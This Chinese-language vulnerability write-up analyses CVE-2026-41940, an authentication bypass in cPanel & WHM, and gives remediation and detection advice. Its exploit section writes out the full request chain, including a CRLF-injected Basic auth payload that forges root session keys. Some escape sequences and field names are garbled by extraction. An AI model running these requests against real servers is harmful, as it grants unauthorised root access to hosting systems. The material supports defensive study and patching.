导语:安全研究团队 watchTowr Labs 披露了 cPanel & WHM 的严重认证绕过漏洞(CVE-2026-41940),该漏洞影响所有受支持版本,已被检测到在野外活跃利用。攻击者可通过精心构造的 HTTP 请求注入会话文件,最终实现 root 权限访问。本文深度解析漏洞原理与利用链。

图:cPanel/WHM 架构与攻击面
一、漏洞概述
1.1 漏洞背景
cPanel & WHM 是全球最流行的共享主机管理面板,据估计管理着超过 7000 万个域名。WHM(Web Host Manager)是管理员界面,提供 root 级服务器访问权限;cPanel 是用户端控制面板。两者合体,堪称”互联网的钥匙”。
CVE-2026-41940 是一个影响所有受支持版本的认证绕过漏洞。cPanel 官方已发布补丁版本:
- cPanel & WHM 110.0.x → 11.110.0.97(原 11.110.0.96)
- cPanel & WHM 118.0.x → 11.118.0.63(原 11.118.0.61)
- cPanel & WHM 126.0.x → 11.126.0.54(原 11.126.0.53)
- cPanel & WHM 132.0.x → 11.132.0.29(原 11.132.0.27)
- cPanel & WHM 134.0.x → 11.134.0.20(原 11.134.0.19)
- cPanel & WHM 136.0.x → 11.136.0.5(原 11.136.0.4)
已知主机托管商 KnownHost 已确认该漏洞正在野外被利用,作为零日攻击针对互联网很大一部分的管理平面。

图:KnownHost 确认野外利用
二、技术细节分析
2.1 会话文件结构
cPanel 使用基于文件的会话管理。会话文件位于:
- 原始文件:
/var/cpanel/sessions/raw/<session_id> - 缓存文件:
/var/cpanel/sessions/cache/<session_id>(JSON 格式)
会话文件采用 key=value 格式存储。例如,一次失败的登录会创建如下会话:
local_ip_address=172.17.0.2
external_validation_token=bOOwkwVzFsruooU0
cp_security_token=/cpsess7833455106
needs_auth=1
origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpass
hulk_registered=0
tfa_verified=0
ip_address=172.17.0.1
local_port=2087
port=49254
login_theme=cpanel
Cookie 中的会话 ID 格式为 :Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa,其中逗号后的 32 位十六进制字符串是 段——每会话密钥,用于对称加密 pass 字段。

图: 段参与加密流程
2.2 漏洞原理
漏洞由两个关键问题组合而成:
问题一:CRLF 注入未过滤
在 saveSession 函数中,如果 段缺失(Cookie 中无逗号或逗号后为空),编码器不会触发,pass 字段保持明文写入磁盘: 图: 段参与加密流程
if ( defined $ob && length $ob ) {
my $encoder = Cpanel::Session::Encoder->new( 'secret' => $ob );
$session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} );
}
else {
$session_ref->{'pass'} = 'no-ob:' . Cpanel::Session::Encoder->hex_encode_only( $session_ref->{'pass'} );
}

图:代码修改细节提示
同时,pass 值来自 HTTP Basic 认证头,set_pass 函数仅 stripping NUL 字节,rn 被保留。

图:saveSession 函数补丁前后对比(来源:watchTowr Labs)
问题二:缓存优先读取
loadSession 优先读取 JSON 缓存文件,而非原始文本文件。即使我们在原始文件中注入了额外记录,缓存中的 pass 仍是包含 rn 的单一字符串,不会解析为顶层键。
2.3 利用链完整步骤
步骤 1:创建预认证会话
发送错误登录请求,获取有效会话文件:
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
user=root&pass=wrong
响应会返回 Cookie,如:
Set-Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_%2c4d257abc371539dfebdf7d3a3e64de0b
解码后::QSJN_sFdKZtCi2o_,4d257abc371539dfebdf7d3a3e64de0b
步骤 2:注入恶意记录
构造 Basic 认证头,密码部分包含 CRLF 注入:
xrn
hasroot=1rn
tfa_verified=1rn
user=rootrn
cp_security_token=/cpsess9999999999rn
successful_internal_auth_with_timestamp=1777462149
Base64 编码后发送请求,关键点:Cookie 只保留基础名称(去掉 , 部分):
GET / HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Authorization: Basic <base64编码的root:payload>
此时原始会话文件内容变为:
pass=x
hasroot=1 <-- 注入
tfa_verified=1 <-- 注入
user=root <-- 注入
cp_security_token=/cpsess9999999999 <-- 注入
successful_internal_auth_with_timestamp=1777462149 <-- 注入
步骤 3:提升注入到缓存
仅修改原始文件不够,因为加载器读缓存。需要触发 Cpanel::Session::Modify 的 new + save 流程,该流程使用 nocache => 1 参数直接读取原始文件,然后写回时会更新 JSON 缓存。
触发方式:访问需要 cp_security_token 但未提供的 URL,触发 do_token_denied:
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
响应:401 Token Denied
此时缓存 JSON 已更新,注入的键成为顶层记录:
{
"tfa_verified": "1",
"user": "root",
"hasroot": "1",
"successful_internal_auth_with_timestamp": "1777462149",
...
}
步骤 4:绕过密码验证
docheckpass_whostmgrd 在每次请求时会检查 successful_internal_auth_with_timestamp 时间戳。如果该字段存在,完全跳过密码验证,直接返回 AUTH_OK:
sub check_authok_user {
if ($AUTHOPTS{'authable_user'}{'successful_external_auth_with_timestamp'}
or $AUTHOPTS{'authable_user'}{'successful_internal_auth_with_timestamp'}) {
return $Cpanel::Server::AUTH_OK, 0; # 不查询 /etc/shadow
}
}
步骤 5:验证权限
访问任意需要认证的端点:
GET /json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
此时应返回 200 OK 而非 403 Forbidden,表明已获得 root 级会话。
三、漏洞影响评估
3.1 受影响范围
- 所有受支持的 cPanel & WHM 版本(详见上文列表)
- 全球约 7000 万+ 域名受影响
- 攻击者可获得服务器 root 权限
- 漏洞已在野外被利用(KnownHost 确认)
图:KnownHost 确认野外利用
3.2 攻击前提
- 目标运行易受攻击版本的 cPanel/WHM
- 攻击者能够发起 HTTP 请求(通常需网络可达)
- 无需有效凭证
3.3 危害等级
- CVSS 评分:待 cPanel 官方评估(预计 9.0+)
- 利用复杂度:低(仅需构造 HTTP 请求)
- 攻击向量:网络
- 权限提升:完全 root 访问
四、修复与缓解措施
4.1 立即升级
首要措施:立即升级到官方补丁版本(见 1.1 节列表)。升级前请:
- 完整备份所有数据和配置
- 在测试环境验证升级流程
- 安排在维护窗口执行
4.2 临时缓解方案
若无法立即升级,可考虑:
网络层防护:
- 限制 2087/2086 端口访问(仅允许可信 IP)
- 启用防火墙规则,阻止异常 Basic Auth 请求
- 部署 WAF 规则检测 CRLF 注入模式
监控检测:
- 监控
/var/cpanel/sessions/raw/和/var/cpanel/sessions/cache/中会话文件的异常修改 - 关注未授权访问日志
- 检测
successful_internal_auth_with_timestamp字段的出现
检测脚本:watchTowr Labs 已发布 Detection Artifact Generator,可用于扫描易受感染主机。
4.3 验证修复状态
- 检查当前版本:
/usr/local/cpanel/cpanel -V - 确认会话文件权限:
ls -la /var/cpanel/sessions/ - 审查日志:
grep -i "auth" /var/log/secure或/var/log/messages
五、漏洞时间线
- 2026-03-27:漏洞首次被披露
- 2026-03-31:补丁版本发布(披露后 4 天)
- 2026-04 起:KnownHost 等托管商检测到野外利用
- 2026-05-01:watchTowr Labs 发布完整技术分析
六、防御建议总结
- 立即行动:升级到最新补丁版本
- 网络隔离:限制管理接口访问来源
- 监控告警:部署检测规则,关注异常会话活动
- 最小权限:确保 cPanel 账户遵循最小权限原则
- 定期审计:定期检查系统日志和会话目录
七、参考资源
图:KnownHost 确认野外利用
本文基于 watchTowr Labs 公开发布的研究报告翻译整理,仅供网络安全研究与防御使用。未经授权,请勿用于非法攻击。














暂无评论内容